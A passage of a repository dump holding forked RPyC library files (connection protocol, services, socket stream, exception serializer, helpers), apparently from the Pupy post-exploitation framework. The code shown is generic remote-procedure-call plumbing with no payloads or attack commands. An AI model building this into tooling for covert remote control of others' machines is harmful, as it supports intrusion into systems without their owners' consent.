}\n\n        raise ValueError(\"invalid label %r\" % (label,))\n\n    def _netref_factory(self, oid, clsname, modname):\n        typeinfo = (clsname, modname)\n        if typeinfo in self._netref_classes_cache:\n            cls = self._netref_classes_cache[typeinfo]\n        elif typeinfo in netref.builtin_classes_cache:\n            cls = netref.builtin_classes_cache[typeinfo]\n        else:\n            info = self.sync_request(consts.HANDLE_INSPECT, oid)\n            cls = netref.class_factory(clsname, modname, info)\n            self._netref_classes_cache[typeinfo] = cls\n        return cls(weakref.ref(self), oid)\n\n    #\n    # dispatching\n    #\n    def _dispatch_request(self, seq, raw_args, version):\n        try:\n            handler, args = raw_args\n            args = self._unbox(args, version)\n            res = self._HANDLERS[handler](self, *args)\n        except Exception:\n            # need to catch old style exceptions too\n            t, v, tb = sys.exc_info()\n            self._last_traceback = tb\n            logger = self._config[\"logger\"]\n            if logger and t is not StopIteration:\n                logger.debug(\"Exception caught\", exc_info=True)\n            if t is SystemExit and self._config[\n                    \"propagate_SystemExit_locally\"]:\n                raise\n            if t is KeyboardInterrupt and self._config[\n                    \"propagate_KeyboardInterrupt_locally\"]:\n                raise\n            self._send_exception(seq, t, v, tb, version)\n        else:\n            self._send_reply(seq, res, version)\n\n    def _dispatch_reply(self, seq, raw, version):\n        obj = self._unbox(raw, version)\n        if seq in self._async_callbacks:\n            self._async_callbacks.pop(seq)(False, obj)\n        else:\n            self._sync_replies[seq] = (False, obj)\n\n    def _dispatch_exception(self, seq, raw, version):\n        obj = vinegar.load(\n            raw,\n            import_custom_exceptions=self._config[\"import_custom_exceptions\"],\n            instantiate_custom_exceptions=self._config[\n                \"instantiate_custom_exceptions\"],\n            instantiate_oldstyle_exceptions=self._config[\n                \"instantiate_oldstyle_exceptions\"])\n        if seq in self._async_callbacks:\n            self._async_callbacks.pop(seq)(True, obj)\n        else:\n            self._sync_replies[seq] = (True, obj)\n\n    #\n    # serving\n    #\n    def _recv(self, timeout, wait_for_lock):\n        if not self._recvlock.acquire(wait_for_lock):\n            return None\n        try:\n            if self._channel.poll(timeout):\n                data = self._channel.recv()\n            else:\n                data = None\n        except EOFError:\n            self.close()\n            raise\n        finally:\n            self._recvlock.release()\n        return data\n\n    def _dispatch(self, data, version=0):\n        msg, seq, args = brine.load(data, version)\n        if msg == consts.MSG_REQUEST:\n            self._dispatch_request(seq, args, version)\n        elif msg == consts.MSG_REPLY:\n            self._dispatch_reply(seq, args, version)\n        elif msg == consts.MSG_EXCEPTION:\n            self._dispatch_exception(seq, args, version)\n        else:\n            raise ValueError(\"invalid message type: %r\" % (msg,))\n\n    def sync_recv_and_dispatch(self, timeout, wait_for_lock):\n        # lock or wait for signal\n        if self._sync_lock.acquire(False):\n            try:\n                self._sync_event.clear()\n                data = self._recv(timeout, wait_for_lock=False)\n                if not data:\n                    return False\n                self._dispatch(data)\n                return True\n            finally:\n                self._sync_lock.release()\n                self._sync_event.set()\n        else:\n            self._sync_event.wait()\n\n    def poll(self, timeout=0):\n        \"\"\"Serves a single transaction, should one arrives in the given\n        interval. Note that handling a request/reply may trigger nested\n        requests, which are all part of a single transaction.\n\n        :returns: ``True`` if a transaction was served, ``False`` otherwise\"\"\"\n        return self.sync_recv_and_dispatch(timeout, wait_for_lock=False)\n\n    def serve(self, timeout=1):\n        \"\"\"Serves a single request or reply that arrives within the given\n        time frame (default is 1 sec). Note that the dispatching of a request\n        might trigger multiple (nested) requests, thus this function may be\n        reentrant.\n\n        :returns: ``True`` if a request or reply were received, ``False``\n                  otherwise.\n        \"\"\"\n        return self.sync_recv_and_dispatch(timeout, wait_for_lock=True)\n\n    def serve_all(self):\n        \"\"\"Serves all requests and replies for as long as the connection is\n        alive.\"\"\"\n        try:\n            while True:\n                self.serve(None)\n        except (socket.error, select_error, IOError):\n            if not self.closed:\n                raise\n        except EOFError:\n            pass\n        finally:\n            self.close()\n\n    def serve_threaded(self, thread_count=10):\n        def _thread_target():\n            try:\n                while True:\n                    self.serve(None)\n            except (socket.error, select_error, IOError):\n                if not self.closed:\n                    raise\n            except EOFError:\n                pass\n\n        threads = []\n\n        \"\"\"Serves all requests and replies for as long as the connection is\n        alive.\"\"\"\n        try:\n            for _ in range(thread_count):\n                thread = Thread(target=_thread_target)\n                thread.daemon = True\n                thread.start()\n                threads.append(thread)\n\n            for thread in threads:\n                thread.join()\n        finally:\n            self.close()\n\n    def poll_all(self, timeout=0):\n        \"\"\"Serves all requests and replies that arrive within the given interval.\n\n        :returns: ``True`` if at least a single transaction was served,\n        ``False`` otherwise\n        \"\"\"\n        at_least_once = False\n        t0 = time.time()\n        duration = timeout\n        try:\n            while True:\n                if self.poll(duration):\n                    at_least_once = True\n                if timeout is not None:\n                    duration = t0 + timeout - time.time()\n                    if duration < 0:\n                        break\n        except EOFError:\n            pass\n        return at_least_once\n\n    #\n    # requests\n    #\n    def sync_request(self, handler, *args):\n        \"\"\"Sends a synchronous request (waits for the reply to arrive)\n\n        :raises: any exception that the requets may be generated\n        :returns: the result of the request\n        \"\"\"\n        seq = self._get_seq_id()\n        self._send_request(seq, handler, args)\n\n        timeout = self._config[\"sync_request_timeout\"]\n        while seq not in self._sync_replies:\n            self.sync_recv_and_dispatch(timeout, True)\n\n        isexc, obj = self._sync_replies.pop(seq)\n        if isexc:\n            raise obj\n        else:\n            return obj\n\n    def _async_request(self, handler, args=(), callback=(lambda a, b: None)):\n        seq = self._get_seq_id()\n        self._async_callbacks[seq] = callback\n        try:\n            self._send_request(seq, handler, args)\n        except Exception:\n            if seq in self._async_callbacks:\n                del self._async_callbacks[seq]\n            raise\n\n    def async_request(self, handler, *args, **kwargs):\n        \"\"\"Send an asynchronous request (does not wait for it to finish)\n\n        :returns: an :class:`.core.async.AsyncResult` object, which will\n                  eventually hold the result (or exception)\n        \"\"\"\n        timeout = kwargs.pop(\"timeout\", None)\n        if kwargs:\n            raise TypeError(\"got unexpected keyword argument(s) %s\" % (\n                list(kwargs.keys()),))\n        res = AsyncResult(weakref.proxy(self))\n        self._async_request(handler, args, res)\n        if timeout is not None:\n            res.set_expiry(timeout)\n        return res\n\n    @property\n    def root(self):\n        \"\"\"Fetches the root object (service) of the other party\"\"\"\n        if self._remote_root is None:\n            self._remote_root = self.sync_request(consts.HANDLE_GETROOT)\n        return self._remote_root\n\n    #\n    # attribute access\n    #\n    def _check_attr(self, obj, name):\n        name = as_native_string(name)\n\n        if self._config[\"allow_exposed_attrs\"]:\n            if name.startswith(self._config[\"exposed_prefix\"]):\n                name2 = name\n            else:\n                name2 = self._config[\"exposed_prefix\"] + name\n            if hasattr(obj, name2):\n                return name2\n\n        if self._config[\"allow_all_attrs\"]:\n            return name\n\n        if self._config[\"allow_safe_attrs\"] and \\\n                name in self._config[\"safe_attrs\"]:\n            return name\n\n        if self._config[\"allow_public_attrs\"] and \\\n                not name.startswith(\"_\"):\n            return name\n\n        return False\n\n    def _access_attr(self, oid, name, args, overrider, param, default):\n\n        name = as_native_string(name)\n\n        obj = self._local_objects[oid]\n        accessor = getattr(type(obj), overrider, None)\n\n        if accessor is None:\n            name2 = self._check_attr(obj, name)\n            if not self._config[param] or not name2:\n                raise AttributeError(\n                    'Cannot access {}->{} (overrider={} ({}))'.format(\n                        obj, name, overrider, accessor))\n\n            accessor = default\n            name = name2\n\n        return accessor(obj, name, *args)\n\n    #\n    # request handlers\n    #\n    def _handle_ping(self, data):\n        return data\n\n    def _handle_close(self):\n        self._cleanup()\n\n    def _handle_getroot(self):\n        return self._local_root\n\n    def _handle_del(self, oid, count=1):\n        self._local_objects.decref(oid)\n\n    def _handle_repr(self, oid):\n        return repr(self._local_objects[oid])\n\n    def _handle_str(self, oid):\n        return str(self._local_objects[oid])\n\n    def _handle_cmp(self, oid, other):\n        # cmp() might enter recursive resonance... yet another workaround\n        # return cmp(self._local_objects[oid], other)\n        obj = self._local_objects[oid]\n        try:\n            return type(obj).__cmp__(obj, other)\n        except (AttributeError, TypeError):\n            return NotImplemented\n\n    def _handle_hash(self, oid):\n        return hash(self._local_objects[oid])\n\n    def _handle_call(self, oid, args, kwargs=()):\n        kwargs = {\n            as_native_string(key): value for (key, value) in kwargs\n        }\n        return self._local_objects[oid](*args, **kwargs)\n\n    def _handle_dir(self, oid):\n        return tuple(dir(self._local_objects[oid]))\n\n    def _handle_inspect(self, oid):\n        if hasattr(self._local_objects[oid], '____conn__'):\n            conn = self._local_objects[oid].____conn__\n            return conn.sync_request(consts.HANDLE_INSPECT, oid)\n        else:\n            return tuple(\n                get_methods(\n                    netref._local_netref_attrs, self._local_objects[oid]\n                )\n            )\n\n    def _handle_getattr(self, oid, name):\n        return self._access_attr(\n            oid,\n            as_native_string(name), (),\n            \"_rpyc_getattr\", \"allow_getattr\", getattr\n        )\n\n    def _handle_delattr(self, oid, name):\n        return self._access_attr(\n            oid, as_native_string(name), (),\n            \"_rpyc_delattr\", \"allow_delattr\", delattr\n        )\n\n    def _handle_setattr(self, oid, name, value):\n        return self._access_attr(\n            oid, as_native_string(name), (value,),\n            \"_rpyc_setattr\", \"allow_setattr\", setattr\n        )\n\n    def _handle_callattr(self, oid, name, args, kwargs):\n        kwargs = {\n            as_native_string(key): value for (key, value) in kwargs\n        }\n\n        function = self._access_attr(\n            oid,\n            as_native_string(name), (),\n            \"_rpyc_getattr\", \"allow_getattr\", getattr\n        )\n\n        return function(*args, **kwargs)\n\n    def _handle_pickle(self, oid, proto):\n        if not self._config[\"allow_pickle\"]:\n            raise ValueError(\"pickling is disabled\")\n\n        return pickle.dumps(self._local_objects[oid], proto)\n\n    def _handle_buffiter(self, oid, count):\n        items = []\n        obj = self._local_objects[oid]\n        i = 0\n        try:\n            while i < count:\n                items.append(next(obj))\n                i += 1\n        except StopIteration:\n            pass\n        return tuple(items)\n\n    def _handle_oldslicing(self, oid, attempt, fallback, start, stop, args):\n        try:\n            # first try __xxxitem__\n            getitem = self._handle_getattr(oid, attempt)\n            return getitem(slice(start, stop), *args)\n        except Exception:\n            # fallback to __xxxslice__. see issue #41\n            if stop is None:\n                stop = maxint\n            getslice = self._handle_getattr(oid, fallback)\n            return getslice(start, stop, *args)\n\n    # collect handlers\n    _HANDLERS = [None] * consts.HANDLE_MAX\n\n    for name, obj in dict(locals()).items():\n        if name.startswith(\"_handle_\"):\n            name2 = \"HANDLE_\" + name[8:].upper()\n            if hasattr(consts, name2):\n                _HANDLERS[getattr(consts, name2)] = obj\n            else:\n                raise NameError(\"no constant defined for %r\", name)\n\n    del name, name2, obj\n"
  },
  {
    "path": "pupy/network/lib/rpc/core/service.py",
    "content": "\"\"\"\nServices are the heart of RPyC: each side of the connection exposes\na *service*, which define the capabilities available to the other side.\n\nNote that the services by both parties need not be symmetric, e.g., one\nside may exposed *service A*, while the other may expose *service B*.\nAs long as the two can interoperate, you're good to go.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n# Wrong conversions\n# from __future__ import unicode_literals\n\nfrom pupy.network.lib.compat import execute, is_py3k\n\n\nclass Service(object):\n    \"\"\"The service base-class. Derive from this class to implement custom RPyC\n    services:\n\n    * The name of the class implementing the ``Foo`` service should match the\n      pattern ``FooService`` (suffixed by the word 'Service') ::\n\n          class FooService(Service):\n              pass\n\n          FooService.get_service_name() # 'FOO'\n          FooService.get_service_aliases() # ['FOO']\n\n    * To supply a different name or aliases, use the ``ALIASES`` class attribute ::\n\n          class Foobar(Service):\n              ALIASES = [\"foo\", \"bar\", \"lalaland\"]\n\n          Foobar.get_service_name() # 'FOO'\n          Foobar.get_service_aliases() # ['FOO', 'BAR', 'LALALAND']\n\n    * Override :func:`on_connect` to perform custom initialization\n\n    * Override :func:`on_disconnect` to perform custom finalization\n\n    * To add exposed methods or attributes, simply define them normally,\n      but prefix their name by ``exposed_``, e.g. ::\n\n          class FooService(Service):\n              def exposed_add(self, x, y):\n                  return x + y\n\n    * All other names (not prefixed by ``exposed_``) are local (not accessible\n      to the other party)\n\n    .. note::\n       You can override ``_rpyc_getattr``, ``_rpyc_setattr`` and ``_rpyc_delattr``\n       to change attribute lookup -- but beware of possible **security implications!**\n    \"\"\"\n    __slots__ = [\"_conn\"]\n    ALIASES = ()\n\n    def __init__(self, conn):\n        self._conn = conn\n\n    def on_connect(self):\n        \"\"\"called when the connection is established\"\"\"\n        pass\n\n    def on_disconnect(self):\n        \"\"\"called when the connection had already terminated for cleanup\n        (must not perform any IO on the connection)\"\"\"\n        pass\n\n    # Using default defined in 'protocol.Connection._access_attr' for:\n    # def _rpyc_getattr(self, name):\n\n    def _rpyc_delattr(self, name):\n        raise AttributeError(\"access denied\")\n\n    def _rpyc_setattr(self, name, value):\n        raise AttributeError(\"access denied\")\n\n    @classmethod\n    def get_service_aliases(cls):\n        \"\"\"returns a list of the aliases of this service\"\"\"\n        if cls.ALIASES:\n            return tuple(str(n).upper() for n in cls.ALIASES)\n        name = cls.__name__.upper()\n        if name.endswith(\"SERVICE\"):\n            name = name[:-7]\n        return (name,)\n\n    @classmethod\n    def get_service_name(cls):\n        \"\"\"returns the canonical name of the service (which is its first\n        alias)\"\"\"\n        return cls.get_service_aliases()[0]\n\n    exposed_get_service_aliases = get_service_aliases\n    exposed_get_service_name = get_service_name\n\n\nclass ModuleNamespace(object):\n    \"\"\"used by the :class:`SlaveService` to implement the magical\n    'module namespace'\"\"\"\n\n    __slots__ = (\n        \"__getmodule\", \"__cache\", \"__weakref__\"\n    )\n\n    def __init__(self, getmodule):\n        self.__getmodule = getmodule\n        self.__cache = {}\n\n    def __contains__(self, name):\n        try:\n            self[name]\n        except ImportError:\n            return False\n        else:\n            return True\n\n    def __getitem__(self, name):\n        if isinstance(name, (tuple, list)):\n            name = '.'.join(name)\n\n        if name not in self.__cache:\n            self.__cache[name] = self.__getmodule(name)\n\n        return self.__cache[name]\n\n    def __getattr__(self, name):\n        return self[name]\n"
  },
  {
    "path": "pupy/network/lib/rpc/core/stream.py",
    "content": "\"\"\"\nAn abstraction layer over OS-dependent file-like objects, that provides a\nconsistent view of a *duplex byte stream*.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport socket\nimport errno\n\nfrom pupy.network.lib.compat import (\n    poll, select_error, get_exc_errno\n)\n\nretry_errnos = (errno.EAGAIN, errno.EWOULDBLOCK)\n\n\nclass Stream(object):\n    \"\"\"Base Stream\"\"\"\n\n    __slots__ = ()\n\n    def close(self):\n        \"\"\"closes the stream, releasing any system resources associated with it\"\"\"\n        raise NotImplementedError()\n\n    @property\n    def closed(self):\n        \"\"\"tests whether the stream is closed or not\"\"\"\n        raise NotImplementedError()\n\n    def fileno(self):\n        \"\"\"returns the stream's file descriptor\"\"\"\n        raise NotImplementedError()\n\n    def poll(self, timeout):\n        \"\"\"indicates whether the stream has data to read (within *timeout*\n        seconds)\"\"\"\n        try:\n            p = poll()   # from lib.compat, it may be a select object on non-Unix platforms\n            p.register(self.fileno(), \"r\")\n            while True:\n                try:\n                    rl = p.poll(timeout)\n                except select_error:\n                    ex = sys.exc_info()[1]\n                    if ex.args[0] == errno.EINTR:\n                        continue\n                    else:\n                        raise\n                else:\n                    break\n        except ValueError:\n            # if the underlying call is a select(), then the following errors may happen:\n            # - \"ValueError: filedescriptor cannot be a negative integer (-1)\"\n            # - \"ValueError: filedescriptor out of range in select()\"\n            # let's translate them to select.error\n            ex = sys.exc_info()[1]\n            raise select_error(str(ex))\n        return bool(rl)\n\n    def read(self, count):\n        \"\"\"reads **exactly** *count* bytes, or raise EOFError\n\n        :param count: the number of bytes to read\n\n        :returns: read data\n        \"\"\"\n        raise NotImplementedError()\n\n    def write(self, data):\n        \"\"\"writes the entire *data*, or raise EOFError\n\n        :param data: a string of binary data\n        \"\"\"\n        raise NotImplementedError()\n\n\nclass ClosedFile(object):\n    \"\"\"Represents a closed file object (singleton)\"\"\"\n\n    __slots__ = ()\n\n    def __getattr__(self, name):\n        if name.startswith(\"__\"): # issue 71\n            raise AttributeError(\"stream has been closed (issue 71)\")\n        raise EOFError(\"stream has been closed\")\n\n    def close(self):\n        pass\n\n    @property\n    def closed(self):\n        return True\n\n    def fileno(self):\n        raise EOFError(\"stream has been closed\")\n\nClosedFile = ClosedFile()\n\n\nclass SocketStream(Stream):\n    \"\"\"A stream over a socket\"\"\"\n\n    __slots__ = (\"sock\",)\n\n    MAX_IO_CHUNK = 8000\n\n    def __init__(self, sock):\n        self.sock = sock\n\n    @classmethod\n    def _connect(cls, host, port, family = socket.AF_INET, socktype = socket.SOCK_STREAM,\n            proto = 0, timeout = 3, nodelay = False, keepalive = False):\n        family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, family,\n            socktype, proto)[0]\n        s = socket.socket(family, socktype, proto)\n        s.settimeout(timeout)\n        s.connect(sockaddr)\n        if nodelay:\n            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        if keepalive:\n            s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)\n\n            if hasattr(socket, \"TCP_KEEPIDLE\") and hasattr(socket, \"TCP_KEEPINTVL\") and hasattr(socket, \"TCP_KEEPCNT\"):\n                # Linux specific: after <keepalive> idle seconds, start sending keepalives every <keepalive> seconds.\n                # Drop connection after 5 failed keepalives\n                # `keepalive` may be a bool or an integer\n                if keepalive is True:\n                    keepalive = 60\n                if keepalive < 1:\n                    raise ValueError(\"Keepalive minimal value is 1 second\")\n\n                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 5)\n                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, keepalive)\n                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, keepalive)\n        return s\n\n    @property\n    def closed(self):\n        return self.sock is ClosedFile\n\n    def close(self):\n        if not self.closed:\n            try:\n                self.sock.shutdown(socket.SHUT_RDWR)\n            except Exception:\n                pass\n\n        self.sock.close()\n        self.sock = ClosedFile\n\n    def fileno(self):\n        try:\n            return self.sock.fileno()\n        except socket.error:\n            self.close()\n            ex = sys.exc_info()[1]\n            if get_exc_errno(ex) == errno.EBADF:\n                raise EOFError()\n            else:\n                raise\n\n    def read(self, count):\n        data = []\n        while count > 0:\n            try:\n                buf = self.sock.recv(min(self.MAX_IO_CHUNK, count))\n            except socket.timeout:\n                continue\n            except socket.error:\n                ex = sys.exc_info()[1]\n                if get_exc_errno(ex) in retry_errnos:\n                    # windows just has to be a bitch\n                    continue\n                self.close()\n                raise EOFError(ex)\n            if not buf:\n                self.close()\n                raise EOFError(\"connection closed by peer\")\n            data.append(buf)\n            count -= len(buf)\n        return b''.join(data)\n\n    def write(self, data):\n        try:\n            while data:\n                count = self.sock.send(data[:self.MAX_IO_CHUNK])\n                data = data[count:]\n        except socket.error:\n            ex = sys.exc_info()[1]\n            self.close()\n            raise EOFError(ex)\n"
  },
  {
    "path": "pupy/network/lib/rpc/core/vinegar.py",
    "content": "\"\"\"\n**Vinegar** (\"when things go sour\") is a safe serializer for exceptions.\nThe :data`configuration parameters <network.lib.rpc.core.protocol.DEFAULT_CONFIG>` control\nits mode of operation, for instance, whether to allow *old-style* exceptions\n(that do not derive from ``Exception``), whether to allow the :func:`load` to\nimport custom modules (imposes a security risk), etc.\n\nNote that by changing the configuration parameters, this module can be made\nnon-secure. Keep this in mind.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport traceback\n\ntry:\n    import exceptions as exceptions_module\nexcept ImportError:\n    import builtins as exceptions_module\ntry:\n    from types import InstanceType, ClassType\nexcept ImportError:\n    ClassType = type\n\nfrom pupy.network.lib.rpc.core import brine\nfrom pupy.network.lib.rpc.core import consts\nfrom pupy.network.lib.compat import is_py3k, as_native_string\n\n\ntry:\n    BaseException\nexcept NameError:\n    # python 2.4 compatible\n    BaseException = Exception\n\ndef dump(typ, val, tb, include_local_traceback, version):\n    \"\"\"Dumps the given exceptions info, as returned by ``sys.exc_info()``\n\n    :param typ: the exception's type (class)\n    :param val: the exceptions' value (instance)\n    :param tb: the exception's traceback (a ``traceback`` object)\n    :param include_local_traceback: whether or not to include the local traceback\n                                    in the dumped info. This may expose the other\n                                    side to implementation details (code) and\n                                    package structure, and may theoretically impose\n                                    a security risk.\n\n    :returns: A tuple of ``((module name, exception name), arguments, attributes,\n              traceback text)``. This tuple can be safely passed to\n              :func:`brine.dump <network.lib.rpc.core.brine.dump>`\n    \"\"\"\n    if typ is StopIteration:\n        return consts.EXC_STOP_ITERATION # optimization\n\n    if type(typ) is str:\n        return typ\n\n    if include_local_traceback:\n        tbtext = as_native_string('').join(\n            traceback.format_exception(typ, val, tb)\n        )\n    else:\n        tbtext = as_native_string(\n            '<traceback denied>'\n        )\n\n    attrs = []\n    args = []\n    ignored_attrs = frozenset([\"_remote_tb\", \"with_traceback\"])\n\n    for name in dir(val):\n        if name == \"args\":\n            for a in val.args:\n                if brine.dumpable(a, version):\n                    args.append(a)\n                else:\n                    args.append(repr(a))\n        elif name.startswith(\"_\") or name in ignored_attrs:\n            continue\n        else:\n            try:\n                attrval = getattr(val, name)\n            except AttributeError:\n                # skip this attr. see issue #108\n                continue\n            if not brine.dumpable(attrval, version):\n                attrval = repr(attrval)\n            attrs.append((name, attrval))\n\n    return (typ.__module__, typ.__name__), tuple(args), tuple(attrs), tbtext\n\n\ndef load(\n    val, import_custom_exceptions, instantiate_custom_exceptions,\n        instantiate_oldstyle_exceptions):\n\n    \"\"\"\n    Loads a dumped exception (the tuple returned by :func:`dump`) info a\n    throwable exception object. If the exception cannot be instantiated for any\n    reason (i.e., the security parameters do not allow it, or the exception\n    class simply doesn't exist on the local machine), a\n    :class:`GenericException` instance will be returned instead, containing\n    all of the original exception's details.\n\n    :param val: the dumped exception\n    :param import_custom_exceptions: whether to allow this function to import\n            custom modules (imposes a security risk)\n    :param instantiate_custom_exceptions: whether to allow this function to\n            instantiate \"custom exceptions\" (i.e., not one of the built-in\n            exceptions, such as ``ValueError``, ``OSError``, etc.)\n    :param instantiate_oldstyle_exceptions: whether to allow this function to\n            instantiate exception classes that do not derive from\n            ``BaseException``. This is required to support old-style\n            exceptions. Not applicable for Python 3 and above.\n\n    :returns: A throwable exception object\n    \"\"\"\n\n    if val == consts.EXC_STOP_ITERATION:\n        return StopIteration  # optimization\n\n    if isinstance(val, (str, bytes)):\n        return as_native_string(val)  # deprecated string exceptions\n\n    (modname, clsname), args, attrs, tbtext = val\n\n    modname = as_native_string(modname)\n    clsname = as_native_string(clsname)\n\n    attrs = tuple(\n        (\n            as_native_string(key),\n            as_native_string(value, False)\n        ) for (key, value) in attrs\n    )\n\n    args = tuple(\n        as_native_string(arg, False) for arg in args\n    )\n\n    tbtext = as_native_string(tbtext)\n\n    if import_custom_exceptions and modname not in sys.modules:\n        try:\n            __import__(modname, None, None, '*')\n        except Exception:\n            pass\n\n    if instantiate_custom_exceptions:\n        if modname in sys.modules:\n            cls = getattr(sys.modules[modname], clsname, None)\n        else:\n            cls = None\n\n    elif modname == exceptions_module.__name__:\n        cls = getattr(exceptions_module, clsname, None)\n\n    else:\n        cls = None\n\n    if is_py3k:\n        if not isinstance(cls, type) or not issubclass(cls, BaseException):\n            cls = None\n    else:\n        if not isinstance(cls, (type, ClassType)):\n            cls = None\n        elif issubclass(cls, ClassType) and not instantiate_oldstyle_exceptions:\n            cls = None\n        elif not issubclass(cls, BaseException):\n            cls = None\n\n    if cls is None:\n        fullname = \"%s.%s\" % (modname, clsname)\n        # py2: `type()` expects `str` not `unicode`!\n        fullname = str(fullname)\n        if fullname not in _generic_exceptions_cache:\n            fakemodule = {\"__module__\": \"%s/%s\" % (__name__, modname)}\n            if isinstance(GenericException, ClassType):\n                _generic_exceptions_cache[fullname] = ClassType(\n                    fullname, (GenericException,), fakemodule\n                )\n            else:\n                _generic_exceptions_cache[fullname] = type(\n                    fullname, (GenericException,), fakemodule\n                )\n\n        cls = _generic_exceptions_cache[fullname]\n\n    cls = _get_exception_class(cls)\n\n    # support old-style exception classes\n    if ClassType is not type and isinstance(cls, ClassType):\n        exc = InstanceType(cls)\n    else:\n        exc = cls.__new__(cls)\n\n    exc.args = args\n    for name, attrval in attrs:\n        setattr(exc, name, attrval)\n\n    exc._remote_tb = tbtext\n    return exc\n\n\nclass GenericException(Exception):\n    \"\"\"A 'generic exception' that is raised when the exception the gotten from\n    the other party cannot be instantiated locally\"\"\"\n    pass\n\n_generic_exceptions_cache = {}\n_exception_classes_cache = {}\n\ndef _get_exception_class(cls):\n    if cls in _exception_classes_cache:\n        return _exception_classes_cache[cls]\n\n    # subclass the exception class' to provide a version of __str__ that supports _remote_tb\n    class Derived(cls):\n\n        def __str__(self):\n            try:\n                text = cls.__str__(self)\n            except Exception:\n                text = \"<Unprintable exception>\"\n            if hasattr(self, \"_remote_tb\"):\n                text += \"\\n\\n========= Remote Traceback (%d) =========\\n%s\" % (\n                    self._remote_tb.count(\"\\n\\n========= Remote Traceback\") + 1, self._remote_tb)\n            return text\n\n        def __repr__(self):\n            return str(self)\n\n    Derived.__name__ = cls.__name__\n    Derived.__module__ = cls.__module__\n    _exception_classes_cache[cls] = Derived\n    return Derived\n"
  },
  {
    "path": "pupy/network/lib/rpc/lib/__init__.py",
    "content": "\"\"\"\nA library of various helpers functions and classes\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport logging\nimport inspect\n\n\nclass MissingModule(object):\n    __slots__ = [\"__name\"]\n\n    def __init__(self, name):\n        self.__name = name\n\n    def __getattr__(self, name):\n        if name.startswith(\"__\"): # issue 71\n            raise AttributeError(\"module %r not found\" % (self.__name,))\n        raise ImportError(\"module %r not found\" % (self.__name,))\n\n    def __bool__(self):\n        return False\n\n    __nonzero__ = __bool__\n\n\ndef safe_import(name):\n    try:\n        mod = __import__(name, None, None, \"*\")\n    except ImportError:\n        mod = MissingModule(name)\n    except Exception:\n        # issue 72: IronPython on Mono\n        if sys.platform == \"cli\" and name == \"signal\": #os.name == \"posix\":\n            mod = MissingModule(name)\n        else:\n            raise\n\n    return mod\n\n\ndef setup_logger(quiet = False, logfile = None):\n    opts = {}\n    if quiet:\n        opts['level'] = logging.ERROR\n    else:\n        opts['level'] = logging.DEBUG\n    if logfile:\n        opts['filename'] = logfile\n    logging.basicConfig(**opts)\n\n\ndef get_methods(obj_attrs, obj):\n    \"\"\"introspects the given (local) object, returning a list of all of its\n    methods (going up the MRO).\n\n    :param obj: any local (not proxy) python object\n\n    :returns: a list of ``(method name, docstring)`` tuples of all the methods\n              of the given object\n    \"\"\"\n    methods = {}\n    attrs = {}\n\n    if isinstance(obj, type):\n        # don't forget the darn metaclass\n        mros = list(reversed(type(obj).__mro__)) + list(reversed(obj.__mro__))\n    else:\n        mros = reversed(type(obj).__mro__)\n    for basecls in mros:\n        attrs.update(basecls.__dict__)\n\n    for name, attr in attrs.items():\n        if name not in obj_attrs and hasattr(attr, \"__call__\"):\n            methods[name] = inspect.getdoc(attr)\n\n    return methods.items()\n"
  },
  {
    "path": "pupy/network/lib/rpc/lib/colls.py",
    "content": "from __future__ import with_statement\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport weakref\nfrom threading import Lock\n\nclass WeakValueDict(object):\n    \"\"\"a light-weight version of weakref.WeakValueDictionary\"\"\"\n\n    __slots__ = (\"_dict\",)\n\n    def __init__(self):\n        self._dict = {}\n\n    def __repr__(self):\n        return repr(self._dict)\n\n    def __iter__(self):\n        return self\n\n    def __len__(self):\n        return len(self._dict)\n\n    def __contains__(self, key):\n        try:\n            self[key]\n        except KeyError:\n            return False\n        else:\n            return True\n\n    def get(self, key, default = None):\n        try:\n            return self[key]\n        except KeyError:\n            return default\n\n    def __getitem__(self, key):\n        obj = self._dict[key]()\n        if obj is None:\n            raise KeyError(key)\n        return obj\n\n    def __setitem__(self, key, value):\n        def remover(wr, _dict = self._dict, key = key):\n            _dict.pop(key, None)\n        self._dict[key] = weakref.ref(value, remover)\n\n    def __delitem__(self, key):\n        del self._dict[key]\n\n    def iterkeys(self):\n        return self._dict.keys()\n\n    def keys(self):\n        return self._dict.keys()\n\n    def itervalues(self):\n        for k in self:\n            yield self[k]\n\n    def values(self):\n        return list(self.itervalues())\n\n    def iteritems(self):\n        for k in self:\n            yield k, self[k]\n\n    def items(self):\n        return list(self.iteritems())\n\n    def clear(self):\n        self._dict.clear()\n\n\nclass RefCountingColl(object):\n    \"\"\"a set-like object that implements refcounting on its contained objects\"\"\"\n    __slots__ = (\"_lock\", \"_dict\")\n\n    def __init__(self):\n        self._lock = Lock()\n        self._dict = {}\n\n    def __repr__(self):\n        return repr(self._dict)\n\n    def add(self, obj):\n        with self._lock:\n            key = id(obj)\n            slot = self._dict.get(key, None)\n            if slot is None:\n                slot = [obj, 0]\n            else:\n                slot[1] += 1\n            self._dict[key] = slot\n\n    def clear(self):\n        with self._lock:\n            self._dict.clear()\n\n    def decref(self, key, count=1):\n        with self._lock:\n            slot = self._dict[key]\n            if slot[1] < count:\n                del self._dict[key]\n            else:\n                slot[1] -= count\n                self._dict[key] = slot\n\n    def __getitem__(self, key):\n        with self._lock:\n            return self._dict[key][0]\n"
  },
  {
    "path": "pupy/network/lib/rpc/utils/__init__.py",
    "content": "\"\"\"\nUtilities (not part of the core protocol)\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n"
  },
  {
    "path": "pupy/network/lib/rpc/utils/classic.py",
